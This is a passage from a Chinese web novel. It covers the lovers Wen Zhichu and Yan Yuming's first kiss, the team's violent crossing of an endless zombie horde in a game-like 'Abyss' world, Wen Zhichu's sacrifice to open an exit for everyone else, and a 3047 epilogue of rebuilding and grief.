可他对她的喜欢,并不干净,不光明正大。 他知道温知初这样的存在太过美好,这种存在不应该只属于某个人,最好不要把她拉入不太干净的私欲中,可他…就是贪心。 晏逾明望着甲板方向的背影,拿起杯子,又喝了几杯烈酒。 喝了太多,以至于酒瓶都快空了。 难得,他好像醉了。 晏逾明闭上双眼,闭目养神,似乎想要烈酒麻痹内心的悸动和狂热。 · 甲板上的栏杆旁,温知初独自站着。 夜已经深了,三楼传来欢笑声,远处的灯塔散发非常清晰的光亮,晕染它身后的那一层夜色。 月光若隐若现。 感觉好像快起雾了。 喜欢。 喜欢这个词,书上教过,但对于温知初来说,太难理解了。 Yu刚才说的话,一直没散。 回忆书上的内容,喜欢这种感情,是有独占欲的。 她对Yu的那种喜欢,有独占欲么?有所执念么?起码一开始是完全没有的… 温知初低头,望向自己脖子上挂着的军牌。 晏逾明对她的意义,在他刚才说那些话之前,从未被划分到恋人的范围内。 恋爱?这个词和她太格格不入了。 但是,这种从来不带有执念的喜欢,到底是什么开始变质的… 心中的梅雨季,绝对不是034号所说的感情变淡了,变成了温和的队友情,变得熟悉而习惯。 如果真是这样,刚才Yu说出那些话的时候,心中的闷涩应该很快就释然了,她会否认他说的那些话。 但她没有。 有些应景的是,现在虽然不是真的梅雨季,但天空竟然真的开始下起了雨。 小雨。 雨点细细簌簌地从天而降,落在船帆上,泅出一个个小而细密的水点痕迹。 温知初抬眼,望向一望无际的天,以及夜色中不断落下的雨。 雨逐渐变大了。 因为夜海过于辽阔,有种雨水是从海里升空又落下的错觉,让人分不清哪里是天,哪里是海。 雨有些大了,噼里啪啦的。 温知初没有撑伞,也没有回去,修长的胳膊就这么撑在栏杆上,往远处看,淋着雨。 心间也在下着说不清道不明的雨。 对于弄不清情感这种事,她难得地觉得烦躁。 她在反问自己,如果她喜欢一个人,她会做什么? 大概…她会保护这个人。 她会站在这个人的身旁,无论他发生了什么事。 好像就是这些情感。 那么,晏逾明对于她而言,有什么不同于其他人的地方么。 温知初认真地思考着。 雨水落下,温知初站着没动,头顶的灯光被水汽晕开。 要说最特别的地方,带有一些欲望的地方…其实是有的。 温知初以数据核为食,她见过的所有人里,Yu的数据核肯定是最完美的。 不是说她真的想杀了Yu,只是说永远不会落实的食欲其实也是一种欲望。 Yu对她而言,某种意义上有着致命的吸引。 曾经,她做过一个难以言喻的梦。 梦见了她在啃咬Yu的数据核,真的很美味,粘稠的血色从她的嘴角蔓延,成为潜意识的投射。 一个不道德的梦。 这种梦,算是一种占有欲的痴迷么? 如果这是一种喜欢的话,她看起来好像个变态。 温知初撑着栏杆,往远处看。 雨太大了,几乎要从夜空中倾倒而下。 温知初终于转身,往回走。 晏逾明还坐在半露天餐区的沙发上,整个人半陷进椅背,闭目眼神着,独处时,他的眉眼总是非常冷漠。 温知初走近,她脚步很轻。 但晏逾明还是听到了,他睁开眼。 温知初就站在他面前,肩膀是湿的,头发滴着水,白皙的肤色像被夜雨洗礼过,干净得近乎清澈。 晏逾明:“怎么淋湿了。” 他略微蹙眉,坐直身,似乎想找毛巾给她擦拭头发。不过在他站起身前,温知初走了过来,修长的身影停住,低头望向他。 那双深黑的眼,眼神比平时还要深,被雨打湿的发尾垂下来,像水面洇开的墨。 晏逾明想问她怎么了,温知初俯下身,猝不及防地,亲了他的侧脸。 轻到好像一滴雨落下来了。 棚子外的雨呼啸而下。 雨幕中,晏逾明愣住了,连呼吸好像也停了,有那么一刻,他觉得自己喝得太醉,在做梦。 温知初依旧看着他,深黑的双眼略显茫然,深深地盯着他,似乎在观察他是什么反应,又在观察自己是什么感觉。 确定对方没有拒绝的意味后,温知初再次俯下身。 这次是嘴对嘴。 柔软、冰凉、生涩、没有技巧,却异常专注,带着一种近乎笨拙的真诚。 雨水、呼吸、潮湿的海水味,全都交缠在这个毫无预兆的亲吻里。 温知初往后退了退,很认真地望着晏逾明:“我好像…” 她道:“真的喜欢你。” 第104章 潮湿的梅雨季消散了, 成了被酿造了好些时日的、倾泻而下的雨水,呼啸落于海水中。 不再阻塞于云层里。 雨幕中,有人在接吻。 晏逾明骨节分明的手抵在温知初的后脖子上, 力道很大, 就好像怕眼前的人是幻影, 一不注意, 就没了。 所有的呼吸, 都融化在雨幕中的深吻中。 · Yu一直没缓过来。 一直到隔天,他们一行人都上了房车, 在回程的路上了, 也没缓过来。 真的很难不怀疑,自己昨天做了一个过于真实的梦。 他坐在位置上, 朝身旁、坐在窗旁的温知初看。 车上很安静,只有书页翻动的声音。 屈孚宁和邱任望在打瞌睡, 头都快靠到一起了。 温知初在看书,温和而冷淡的神情,看起来和往常没什么两样。 昨天发生的是真的吗? 晏逾明斜倚在座椅上,高大修长的身影不着痕迹地朝温知初的方向倾斜。 昨夜发生的一切,真的不是他臆想的么他觉得如幻如梦,是因为他的运气。 他的运气一向不好,糟透了, 要不然也不会被《深渊》选中。 说到这儿, 他们两个人真的很像, 一个被《深渊》选中, 一个被<深渊>选中。 两个倒霉鬼。 温知初像是注意到了他的眼神,朝他看来,略微挑起好看的眉头,似乎在无声地问他想干什么。 温知初轻声问:“怎么了?” 她今天也穿了亮色的衣服,叠穿样式的长袖T恤黑色和粉色相间,下身是把双腿衬得修长的纱裙,坠在发间的发带是墨粉色,显得柔和而明亮,又带着点儿慵懒气,如瀑的长发垂落。 T恤上有个毛绒绒的卡通图案,小狼样式,咧开嘴笑时有犬牙,让晏逾明想起昨天接吻时,他也感受过温知初稍尖而不明显的犬牙。 这么可爱的吗? 在Yu眼里,温知初真的很可爱。 温知初抬起手,修长的手指理了理脖子上灰绳,又望向一直盯着她的晏逾明。 到底怎么了? 她总是不懂他。 晏逾明的嘴角不明显地露出了笑,原本那些冷漠而刻薄的气息,在看到温知初后,全都消失了。 所以…昨天发生的,都是真的吗? 桌子下,他伸出手。 骨节分明的手缓慢地、试探性地覆上了温知初的手,轻轻地盖住。 温知初往下看了一眼,修长的手指回握住晏逾明的手。 沉默中,晏逾明的手顿了下,而后手指嵌入温知初的手指缝隙,变成了十指相握的姿势。 他观望着温知初的反应。 温知初回望了他一眼,脸上也有不明显的笑。 耳尖泛红。 很快脸也红了。 温知初垂眼。 她的另一只手按压在书上,视线回到书页上,继续按照刚才的行数往下看。 只不过桌子下的手,她一直握着,没有放下。 · 上午十点左右,房车回到了基地。 没有放松的闲暇,晚上就要前往第五轮域了,队员们见缝插针地去场馆训练。 训练官和教练没办法做到更多,只能尽力确保所有的队员,在进入域前,能达到他们身体数值的最好状态。 傍晚时分。 夜色中,换上队服的队员们在门口集合。 这应该是他们最后一次穿队服了。 三月的晚风还是有些凉的,好在天气不算闷,吹在人身上的风,不会让人发困。 夜色里,军用卡车载着主力队员和训练官,朝远处开。 车程颠簸,军卡上没人说话,似乎都在沉思些什么。 温知初依旧坐在最靠尾门的地方,专注地往外看,风吹过,树叶不停摇动。 空中的鸟盘旋着,倦鸟归林,叫个不停。 晚上八点,军卡到达目的地。 卡车的尾门打开,队员们依次下车。 温知初扶住栏杆,从卡车上翻跳下来,轻声落地。 眼前的这片荒岭他们已经来过太多次了,数据流的光芒在域中穿行,再过几分钟,域就会开启。 今天的域看起来尤为凶险,荒岭的上空,夜空中的云是血红色的,颜色深得好像天空要被撕开个血口子。 老钱今天的话比往常要少得多,现在再说任何话都是徒劳了。 大家都知道这次离开意味着什么。 生死之别。 训练官也聚在了一起,都沉默着,良久后,老钱深深地吸了一口气,才开口:“要活着。” 一定都要活着。 数据流风暴般开启,域敞开一个裂口。 第五轮域,正式开启。 该进去了。 温知初转身,朝身后的训练官们略微点头,算是道别。 队员们一个个地踏入域中,没有再看身后的路。 温知初俯身,弯腰踏入了域。 广播:[领域展开。 ] 广播: [SS赛程开启。 ] 广播:[赛制:无;剧情:无;规则:无。 ] 广播:[注意保护自己的性命,警惕深渊。 ] 按照往常,广播应该就此停止了,但现在,突然又卡顿出一句冰凉的电子音。 广播:[请注意,你现在还有机会撤退、撤退、撤退、撤退退退退退退退退] 电子音嘈杂成一片,不停地卡顿。 伴随聒噪的电子音,周身陷入黑暗中。 耳畔响起有些久违的水声,队员们睁开眼,发现他们置身的地方是他们第二轮所在的游泳馆。 学校里的游泳馆。 按道理说,剧情已经彻底溃败,他们已经没必要被分配角色了,但是角色卡的电子光屏还是卡顿地弹了出来,不断摇晃的页面像是在卡Bug。 <深渊>确实在卡规则的Bug。 虽然没有剧情,他们还是被分配了角色,依旧是副班长,班长、美术生、体育委员、七班的外班生,以及三班的外班生。 <深渊>分配这些角色不是为了走剧情,毕竟已经没有剧情了,完全是为了通过人物设定继续限制TRES的行动。 他们是学生。 学生是不会被分配枪械的。 接下来的杀戮,只能靠自己。 <深渊>的恶意有始有终。 他们站在游泳池边。 游泳场馆和第二轮域的模样有很大变化,消毒水的氯味比以往要刺鼻太多,潮湿地弥散在每一个角落。 这里没有其他学生,只有他们六个人。 游泳池内的水不再像从前那样澄澈,浑浊到看不清水底有什么。 腥臭。 而半空中, <深渊>的广播声一直没有停下,声音越来越大,已经超过噪声的程度,几乎像是炸在人的耳边,快要将耳膜炸破。 不断循环:[请注意,你现在还有机会撤退、撤退、撤退、撤退退退退退退退退——] 游泳池旁的高墙上,挂着一张巨大的电子钟,他们进来后,电子钟猛地开启一小时的倒计时。 温知初意识过来,他们现在其实并没有身处真正的第五轮域,而是被卡在了域和<深渊>世界的中间。 进行着倒计时。 聒噪的广播声是深渊对他们的逼退与震慑。 它在给他们时间缩退,在这一小时内,TRES还可以退回身后的<深渊>。 深渊做这些不可能是为了他们好,只是为了杜绝TRES找到门、逃离深渊的任何可能性。 它希望,他们可以返回<深渊>。 继续在那充满杀戮、死亡、电子剥离痛的世界里慢性自杀。 它希望他们瑟缩。 它希望他们前功尽弃。 所以这个游泳馆和记忆中的它有了很大的出入,变得更为阴森更为腥臭,像是末日后彻底湮没的人类建筑,没有任何活人的气息。 而且,游泳场馆没有门。 所有的门都没了,只剩下坚固的墙体,唯一能透过建筑往外看的渠道,是被木条封得死死的窗户。 温知初去了二楼。 二楼的杂物间,那里的窗户没有彻底封死,木条之间留有缝隙,还能勉强朝远处看一看外面的光景。 温知初站定,略微躬身,往外看。 外面的建筑是前四轮域里所有建筑的集合,不单有学校,也能看到监狱基地和厂房。 外面 一望无际的、密密麻麻的,一眼望过去,全都是丧尸,完全看不到尽头。 倒计时一旦结束,第五轮域就会正式开启,外面密集蠕动的尸群,便是他们的归宿。他们需要穿过庞然的尸潮,去找深渊的边际,去找逃离这里的缝隙。 邱任望过来,只是看了一眼窗外,脸生理性地变得苍白,他的嘴皮动了动,但终究什么都没说。 广播里的嘈杂声音一直没停,在游泳馆内尖锐地爆鸣,几乎是一种精神污染,震得人耳朵疼、头痛欲裂。 [请注意,你现在还有机会撤退、撤退、撤退、撤退退退退退退退退] 没有人会撤退。 他们没有后路了。 一楼的大厅,大家都聚在游泳池旁,没人说话,都在嘈杂的广播声中沉寂着,眼睛望着浑浊的池水,在脑子里无数次想象他们出去后有可能面临的一切。 不用想都知道接下来的路有多艰难。 那无垠的尸潮,是他们接下来的路程。 只有Yu的视线有所不同,他始终落在温知初的身上,深邃的眼神中有很多别人读不懂的情绪,他看得目不转睛,似乎想趁这嘈杂的倒计时里,再多看几眼。 温知初深黑的双眼定定地往外看,似乎在思考接下来的路该怎么走,侧脸的线条冷淡而专注。 不过她还是注意到了身旁晏逾明的眼神,转过头看他。 晏逾明:“有个问题问你。” 广播的嘈杂声实在太大,温知初听不清,她凑近:“什么?” 晏逾明似笑非笑,聊天的话题和周边的紧张格格不入:“我们现在是什么关系?” 温知初定了定,她望向晏逾明,思考了会儿他问这个问题是想要什么答案。 没思考出来,便凭着本能回答了。 温知初:“恋人。” 不是恋人么 书上这么说的,有了亲密接触后,就是恋人了。 晏逾明:“男女朋友?” 温知初点头。 晏逾明:“你知道男女朋友的关系,意味着什么吗?” 他似乎只是想在生死未定前,多和温知初说几句话,并没有执着于得到什么答案。 广播声太大,两人交谈的时候,几乎脸贴着脸,晏逾明的手撑在温知初的背后,眼神中有深深的留恋。 温知初看着他。 男女朋友意味着… 责任。 这是温知初脑海中能联想到的词。 温知初抬眼,深黑的眼珠子里蕴含着认真:“我会保护你的。” 她会保护自己在意的人。 自始至终,她都没有违背过这个承诺,所有身边的人,她都守护的很好。 Yu和他们不同的是,他是她最在意的人,没有之一。 晏逾明像是没意料到会得到这么认真的回复,他愣了愣,宽大的手按在温知初的肩上,平日里冷漠的神情里只剩下了疼惜和珍重。 “好。”低沉的声音顺着她的话往下说,“靠你了。” 游泳馆的倒计时离归零越来越近。 每一分每一秒都是夺命声。 广播声里的警告越来越大,声音尖锐得快要震碎玻璃。 十! 九! 八! 七! 温知初的上半身靠在晏逾明的身上,修长的双腿垂在地上,深黑的双眼冷漠地往远处看,按而不发地等待倒计时的终点。 三! 二! 一! 那一刻,嘈杂的爆鸣声终于结束了。 他们再次陷入伸手不见五指的深黑中。 [第五轮域,正式开启。 ] [祝你们死亡。 ] [祝你们有去无回。 ] 第105章 [第五轮域,正式开启。 ] 所有人都陷入黑暗中。 当有亮光显露时,耳边忽然变得非常嘈杂,不是一般的嘈杂, 是震耳欲聋的嘈杂。 TRES的队员被<深渊>分散, 他们独自站在第五轮域中。 零点零分。 睁眼的瞬间, 耳边是铺天盖地的嘶吼。 丧尸。 不是百只、不是千只, 他们各自面临的是没有尽头的丧尸。 从天空往下俯瞰, 密密麻麻的丧尸堆里,他们如同投入大海中的沙子, 一下被淹没不见。 要从中穿过去, 去找深渊的边际。大海捞针。 睁眼的刹那,四面八方的丧尸就冲了过来。 四周全是血、全是脸、全是腥臭的、蠕动的东西。黑色、灰色、皮肤脱落的、眼球翻白的, 全都扑了过来。 背后三尺长的支杆被温知初抽了出来,没时间犹豫, 支杆顶住了身前丧尸的下巴,戳进它的嘴里,贯穿后脑。 侧身往下躬身,猛地拧肩,把身后趴着的丧尸甩出去。 尸群如海,层层叠叠,四肢被挤压着,几乎没办法呼吸。 扔出去的尸体砸翻后面的几个,留出块小缝隙,温知初跑过去,沿着那缝隙,半爬半钻地往前走。 不到几米的路立马又被丧尸堵住。 温知初拽住脚下一具尸体的头发,膝盖顶住它的胸口,抬手用支杆插入它的喉管,支杆抵着丧尸翻身,尸体成为前进的盾。 脚下能落脚的地方铺满尸体,踩在尸体身上往前走,踹开右侧的丧尸,左手把支杆从尸体里抽出来,往前刺入身前丧尸的胸口,形成新的顶路盾。 只能这样艰难地往前走。 到处都是丧尸,无边无尽,无处不在。 寻常人早就被尸堆咬的骨头都不剩了。 在这样的状况下,就算有枪,也没什么用。 温知初再次从尸体里抽出支杆,浑浊的液体不断喷溅,杀、顶、撕、撞、翻滚、磕打,只能靠着这些动作,一厘米一厘米地把路啃出来。 这种情况下,受伤是常态。 手指肿了,手腕错位,膝盖割开一道三厘米的口子,但不能停。 一旦有任何停顿,尸群就会重新封死间隙。 温知初手中的支杆从右手换到了左手,不停地砸入丧尸的脑、搅动着再抽出、不停地砍、打、往前走。 她的肩胛鼓被丧尸咬出了道大口子。 光是从这一片尸潮里走出来,就花了不知道多少个小时。 原本凌晨的夜空,到现在,天际都有了微弱的光亮。 密不透风的尸群终于有了道口子,能看到前面的废弃建筑。 没时间看到底是什么建筑,只知道这是尸潮唯一的气口。 温知初踩着脚下的尸体,双手拽住建筑外墙的栏杆,小臂作力,两步攀上半米高的窗沿。 窗框上全是碎玻璃,左手手背瞬间被划开道口子。 她没管,也没时间管,双腿作力,撑起身体往上翻,翻进二楼的房间。 房间里也有丧尸。 刚翻进窗口,房间里的丧尸立马扑了过来。 支杆已经被温知初抽了出来,一只脚还踩在外窗沿上,支杆已经猛地插入丧尸的喉咙,血喷向她的双眼,温知初没眨眼,抬腿踹向第二具丧尸的胸口,从窗台上跳进房间,支杆的另一头深深地扎进丧尸的头颅。 全身都是伤口。 整个屋子都是血。 暂时安静了,暂时安全了。 口渴得要命,温知初缓慢地从墙上往下划,喘着气坐在墙角,墙上沾着她后背的血。 留给她喘气的时间并不多。 房间的门外也有尸潮,从剧烈撞击的动静来看,就知道这门板撑不了多久了,门框已经被撞歪了。 没时间休息,她得尽快处理伤口。 简单地包扎伤口,从柜子里翻出水,也不管到底有没有过期,仰头喝,水从下颌线往下流淌,冲刷着身上的血。 她被丧尸咬了。 但也管不了这么多了,接下来只会受伤得更多。 如果他们这次没办法从深渊里出去,可能就得留在这片域里当丧尸了。 她都已经受伤成这样了,她无法想象其他五个人现在的境况。 “砰——砰砰——砰砰砰!” 房间的门板不断被猛烈地撞击,门板隐隐约约要裂开,已经是岌岌可危。 伤口没完全包扎完,温知初站起身。 再在这个房间待下去,等待她的只剩下死亡。 温知初跨上窗台。 随之而来的是一声剧烈“砰”响,门板被撞开,大量的丧尸从房间外涌进来,朝窗口奔跑而来。 来不及回头看,温知初右腿踩住窗沿,左腿错位蹬住下面的空调机,身体往下翻,用双手拽住空调管,挂在外墙上。 二楼的窗户哗啦往外掉丧尸,温知初侧过身体避开。 废旧的空调管支撑不了重量,快要断,温知初的右臂伸出去,勾住侧面阳台的铁栏,单手撑住,再借力翻下去,落在一楼的窗沿上。 不断还有丧尸从二楼往下砸。 温知初从窗户上跳下来,没时间回头,拐角去了另一条路。 又是一轮新的尸潮。 只要他们想找到出口,便无处可逃。 往前跑,地面并不是平坦的,铺满了活着的、死着的尸体,一脚踩过去如同踩在了烂泥里,趴在地上的丧尸伸长手,想要拽住她。 手中的支杆没停下过,不断地扎入、拔出、扎入、拔出,用丧尸作盾,往前缓慢至极地挪动,尸潮如铁皮,好像无论怎么努力、受多少伤,都难以往前挪一步。 一米的距离,就能要了人的命。 她不能停下。 她要去北面,去找深渊的边际。 烂肉和腥臭的血四溅,温知初已经快看不清周围的景象了,只知道天色已经大亮,太阳逐渐往正中走。 很快,拥挤的丧尸遮盖住天光,空气里都是尸臭。 温知初手中的支杆从脚下丧尸的喉咙里拔出来,越过死尸堆,蹬到前面的半截电线杆上,再跳下来,砸中一个要扑上来的丧尸。 扎入、拔出,丧尸的眼球横飞。 温知初也摔在了尸体堆里。 她立刻翻滚,身体沾满血,靠着惯性在动。 眼前是个废弃的大巴,处于建筑间的岔道口。 温知初从丧尸堆里爬出来,爬进了大巴的残骸,用一块破裂的车门顶住外面,获得大概五秒的喘息时间。 脸色苍白到极点,血从肩胛骨的纱布往外渗,整个上衣都湿透了。 她没时间停下,她不能死。 五秒后,她从残骸的缝隙爬到另一面,再次陷入丧尸群中。 到处都是嘶吼声。 耳边曾有一段时间听不到声音,而后就开始耳鸣了。 这一段漫长的路,她又走了不知道多长时间,跌跌撞撞地杀、滚、撞,如同野兽一般在丧尸群里往外爬。 天色快变暗了,耳朵都开始往外流血了。 天色泛青的时候,温知初在绕过一个高耸建筑的时候,脚踢到了什么。 周围都是丧尸,如果不是她若有所感地停住脚步,也许就忽略了脚下的人了。 对,是人,不是尸体,就算被丧尸咬了,也没开始彻底尸变。 只是看了一眼,温知初便认出了人。 章诎。 他被压在了死尸之下,胸口剧烈起伏、嘴角都是血、昏迷,但还活着。 温知初用一个死尸抵在身前,蹲下身,快速地把章诎给从死尸堆里拖了出来。 把人背到身上后,抬起脚,踹开身前的丧尸。 身旁是个三楼的仓库楼,用章诎身上的刀砍断几个丧尸的脖子,她背着章诎拐入仓库楼里,爬上楼梯。 一路拖着,一路斩杀接连不断遇到的丧尸,一层层地爬楼梯上去。 楼梯中间还有两层台阶塌了,中间是空的,钢筋裸露在外,温知初用膝盖跪在最下一级,再用胳膊把章诎往上推。 肩膀的伤口再次崩开,温知初没吭声。 到了二楼,把杂物间的房间撬开,砍断里面的两个丧尸,她把章诎放下。 关上门,立刻拿出绷带。 把章诎的伤包扎完,再简略包扎了自己的伤口,喝完一瓶水。 没时间停留。 杂物间有个铁皮柜子,她把章诎给背到了柜子里,关上,再用其他东西抵铺在柜子上。 这里似乎相对安全些,没有大量的丧尸集中而来,是个藏身的好地方。 但她不能在这里停留。 她不能停。 作为唯一一个有能力抵抗<深渊>的人,她要去找到出口,去找到深渊的边界。 就算所有人都停下了,她也不能停下。 温知初踉跄地站起身。 门板她用东西挡住了,就不能从正门走了,她打开杂物间的窗户,跨出窗沿后,踩住了外墙的水管,她把窗户关上,一路往下攀,二楼的支架有些松了,她往下摔了一下,但很快拽住了一楼的高窗沿,而后落地。 眼前的尸潮,依旧没有尽头。 拿起刚才在杂物间找到的钢筋,贯穿眼前丧尸的躯体,一连串倒下一片丧尸,她拿起支杆,继续处理其他的丧尸。 有两个丧尸趴在了她后背上,另一个从正面咬住了她的左手,温知初反咬住丧尸的脸,把丧尸撞在墙上,一杆刺穿它的后脑。 左手几乎废了,血从指缝往外喷。 没时间再去处理这些,温知初往通道里跑。 尸潮、尸潮、永无止尽的丧尸…… 耳鸣几乎盖住丧尸的嘶吼声,身上全是伤,血怎么都止不住。 她只剩下意志还在动。 已然看不清地面,但还凭着直觉和意志在走,往前走,往北走。 期间好几次快要被丧尸给完全吞没在尸群里,但又挣扎着从丧尸里爬出来,掰断咬住她的丧尸的脖子,踩着尸体继续往前跑。 丧尸和死尸堆积成墙,她手脚并用地攀上尸墙,然后在脚被拽住之前,用力跳下去。 忘记了痛感、忘记了时间,混沌中,沐血的温知初几乎都快忘了自己是谁,意识模糊到极点。 她只记得一件事。 往北走,一定往北走,直到找到出口。 太阳快落山了,尸潮密密麻麻地翻涌。 温知初像一具被时间拖拽着的活尸,一步、一步、一步地往北。 她已经无法完全站直,身上粘腻结块的血浆快要把衣服和皮肤溶成一体,机械式地挥动着手上的支杆。 扎入、拔出、扎入、拔出…… 期间有好几次,她摔倒后,好像再也爬不起来了。 但强大的意志力还是支撑着身体,艰难地站了起来。 好像回到了还在深渊监狱的时候,她就是这样不停地摔倒、爬起、摔倒、爬起,永远陷入在血泊里,永远陷入在耳鸣里。 不同的是这次太严重了,好几次她真的差点撑不过去了。 但就是有那么一口气吊着。 她不是一个食言的人。 她答应其他的人一定要做到的事,肯定会做到。 漫长的时间里,往前走、用命往前挪动,一片区域、又是一片区域…… 天色轮换,又是一轮深夜后,天再次亮了。 温知初往前挪动的速度越来越慢,拖着一条快断掉的腿。 往北、往北…… 深黑的双眼猛地缩了一下。 终于,她看到了自己想看到的东西。 是一道道深色的裂缝,在半空中浮现,和第四轮里的缝隙一样,闪烁着流动的字符和代码。 只不过这次更大、更深,边缘隐隐有扩大的迹象。 有风吹过来,电流会发出啪啦作响。 找到了,<深渊>的裂口。 脚踝一沉。 有只丧尸咬住了她的腿,已经咬穿了肉,往骨头里去了。 温知初没有低头。 她踉跄着,走到了裂口前。 冷白的脸上只有专注,她半跪下,手撑在了一道缝隙上,闭上双眼,像是撑在了某种现实和虚空的交界点。 冰冷,刺痛,缝隙边缘的风灌进她的伤口,若有千万根针往骨缝里钻。 温知初手上的血从指缝间滴入半空的裂缝里。 数据开始猛烈地波动。 流动的数据扭曲、变形、如深海里受伤的巨兽猛地抽出起来,缝隙内的光从蓝转为红、再转成深黑,最后变成一片空白。 整个世界卡顿了起来。 眼前的景象开始抽帧,缝隙的裂口卡顿着裂开,越来越大,越来越大,越来越大…… 直到大到几乎能吞下一整栋高楼。 温知初依旧半跪着,手撑住那道缝隙。 脚下的丧尸在抽帧中不再挪动。 下一刻,整个<深渊>都停顿了。 上一轮《深渊》, <深渊>就是如此重启的。 这一次她付出的代价更惨重,世界的裂口便更大,不再止步于重启。 世界停住了。 丧尸静止、风声静止、电流声、脚步声、树叶翻飞声……全部静止,成为一帧帧抽搐的数据。 温知初的额头抵在缝隙的起点处,血不停地往下流。 <深渊>的天空,从明亮忽然暗了下去,霎那间转为深黑,完全不可视万物的深黑,如同温知初的双眼一般。 云层深处,雷声滚滚,巨大的轰鸣贯穿天地。 数据如同飓风般席卷<深渊> 。 此刻、此时,所有置身于<深渊>的人都身处摇动中,天色恍黑,雷声大作,脚下的地面震动不止。 “怎么了,这是怎么了!天怎么突然就黑了?” “是要地震了吗?” “<深渊>是要世界末日了吗?!” 人群惊慌地下楼逃灾,不明白这末日般的天幕到底代表着什么。 慌乱中,每个人的眼前都浮现出一块偌大的光屏。 屏幕不停抽动着,带来的是无数人想都不敢想的讯息。 上面只有一个问题。 [是否选择退出<深渊>? ] YES/NO 人们愣住了,眼眶瞬间就湿了,不可置信地瞪大眼睛,喉咙里发不出声。 这一刻,他们等了太久,太久了。 <深渊>里没有尽头的死亡、杀戮、电子剥离痛、生离死别、秩序崩坏……终于等到了终点。 屏幕上的字被点亮。 YES!YES!YES! 终于等来了这个机会,众人于狂喜中落泪,像被赦免的囚徒般那样冲离牢笼。 他们的身影化为虚影,而后彻底消失。 这个<深渊>世界,人在一个一个地减少,直到恢复它原本该有的模样。 狂风大作,像是<深渊>惊恐而愤怒的狂吼。 与此同时,第五轮域也迎来了终点。 [恭喜TRES战队完成逃离<深渊>的终极目标,正在为所有人撤退中。 ] 伴随电子音的落下,其他五个人也被传送到了边界处。 除了章诎已经昏过去之外,其他四个人满身全都是伤,将铭用肩撑起昏过去的章诎。 温知初受伤的太严重,她几乎是个血人,屈孚宁一开始都没认出她。 血从她的发丝上不断往下滴落。 他们已经站在了出口,离回去的路只剩下一步。 域正在为他们撤退,他们每个人身上都笼罩着数据流的白光。 但有个人是例外。 温知初站起了身,摇晃了一下,站直,她的身上并没有那些数据流的痕迹。 晏逾明想跑过来找她,却被数据流的飓风隔开,无法靠近。 邱任望站在裂口那里,也开始意识到不对劲为什么温知初站得离他们那么远,为什么她的身上没有被传送出去的迹象? 他们无法接近。 他们和温知初,被隔绝在了飓风的两端,谁都走不过去。 温知初踉跄着站直,满是血的脸上,依稀能看出些悲伤、释然以及歉意。 温知初:“对不起……” 她掩藏了一个事实。 <深渊>里的人是走不出去的。 她跟他们不一样,她是<深渊>里的一部分,他们所有人都能回去,但她无法离开。 毕竟她的归处本身就是<深渊>。 意识到这一点后,其他人都愣住了,他们大声地在另一端喊着什么,隔着飓风,没人能听见。 风越来越大,她快看不清他们了。 温知初的视线扫过他们每个人的脸,最后定在了晏逾明身上。 她看不清他的神情,但大抵不好。很不好。 温知初真的很抱歉。 但没有其他选择了。 她好像能感知到喜欢是什么一种情感了。 由衷的喜欢就是她希望对方好好的,远离深渊,远离所有的痛苦。 哪怕他们不再身处同一个世界。 温知初缓慢地将脖子上的军牌摘下,灰绳已经被血染成了红绳,她把军牌扔向飓风里。 数据乱流的飓风将所有人都包裹进去,不容任何人的挣扎,把带他们离了这个不属于他们的世界。 风声呼啸,雷声似是要压向地面,轰鸣几乎要震碎大地,雷声响了许久。 呼啸过后,飓风停了。 他们离开了这个光怪陆离、满是罪恶的世界。 风停了。 雷声也停了。 天色不再漆黑,恢复成原有的光亮,天光刺眼地照射下来。 温知初抬起头,血从她的左眼往下流,不过她忽然感受到一阵轻松和释然,身上的疼痛也没那么疼了。 耳鸣也停止了。 天好亮,亮到好像能把深渊里所有的罪恶都洗涤干净。 让人不禁猜想,这么敞亮的天地下,是不是有那么一个理想的国度,那里没有痛苦没有肮脏,只有一望无际的天,一望无际的海,辽阔而分明。 温知初最后看了一眼身后逐渐阖上的出口,转身,重新往回走,走回万千的丧尸群里。 只不过这回,再也没什么会阻拦她了。 血从指缝往下滴落,但不再是苦痛的。 她祝福。 祝福那些离开的人们。 以及,她相信,有缘的人,终将还是会见面的。 她相信,他们终将还会有再次见面的那一天。 一切,都尘埃落定了 温知初那道修长的身影越走越远、越走越远,直到再也看不清她在哪里。 第106章 3047年, 地球脱离电子废土灾难时代。 数据污染消退,上亿人从<深渊>中脱离,回归原来的家园。 人类文明终于不再被按下倒退键。 原本空无一人的商业街上, 不再被废纸、泡沫、塑料袋占据, 人们开始复建废弃了多年的原住地。 垂落在地上的高压线曝皮, 被工人们扶起。 天空上, 不再会出现呼啸而过的无人机, 云层干净,人们进行灾后重建。 基础系统重启、政体重建、资源分配重启……大工程。 彻底的大工程。 一个悲痛的现实是, 这场灾难带走了太多人, 带走了他们的亲人、朋友、爱人,这些幸存者就算回到了原来的世界…… 四顾, 身边已然没有任何人了。 人类规模缩减成灾前的三十分之一,活下来的大多是体质好的青壮年。 还幸存有家人的, 少之又少。 TRES的队员们,全都孑然一身。 · 六月,C市。 这座港湾城市经历了三个月的修复期,到处都是搭到半途的路基和楼架。 海边的风景很好, 可修路的声音从早到晚就没停过。 TRES的五个人,也经历了三个月的修复期,他们在各自的地方养伤、奔丧、处理事务, 这是他们时隔九十多天, 第一次重聚。 重聚的地点是邱任望的家, C市海边的老房子,靠着沙滩。 已然是傍晚,吹进屋子里的海风带着一股被晒了一整天的咸湿味儿,斜阳从天边压下来,远处能看到浮动的帆船。 邱任望是在这里长大的,捞鱼、捉蟹,开海边酒吧……他家在海滩的另一头还有间房子,现在塌了一半,还没功夫来得及重建。 屋子里没开灯,只拉开了窗帘,有些昏。 谁都没说话。 距离他们离开域,已经过去三个多月,谈及这些,不免会想起域里发生的事和分离,大家都沉默了起来,不自禁地停下话语。 六月份,天气也快热起来了。 那么<深渊>里呢? 那里的时间和他们这里是统一的吗? 温知初也和他们一样,身处在潮湿的初夏中么? 一想起温知初,想到了却是临别前的,满身是血的那个模样,身后是密密麻麻的尸潮,无边无际。 她好像也说了什么,但他们谁都没办法听得清。 屋内更沉默了。 章诎忽然开口:“ Yu哥呢?” 邱任望往外看。 屋外,高大修长的身影站在栏杆旁,他手里的烈酒,不知道已经喝到第几杯了。他背对他们站着,目光一直停留在海边,不知道在想着什么,神色疲惫,眼下青黑。 他像是不会醉,神情始终面无表情。 本来就看起来淡漠的人,变得更加冷漠,目光里的厌倦感比在<深渊>里还要重。 邱任望低声而不自然地想说些什么,最终把话咽下去了。 在<深渊>里被迫分离的时候,他看到Yu哥哭了。 虽然被飓风遮盖得不明晰,但是确实是哭了。 那可是Yu哥啊…… 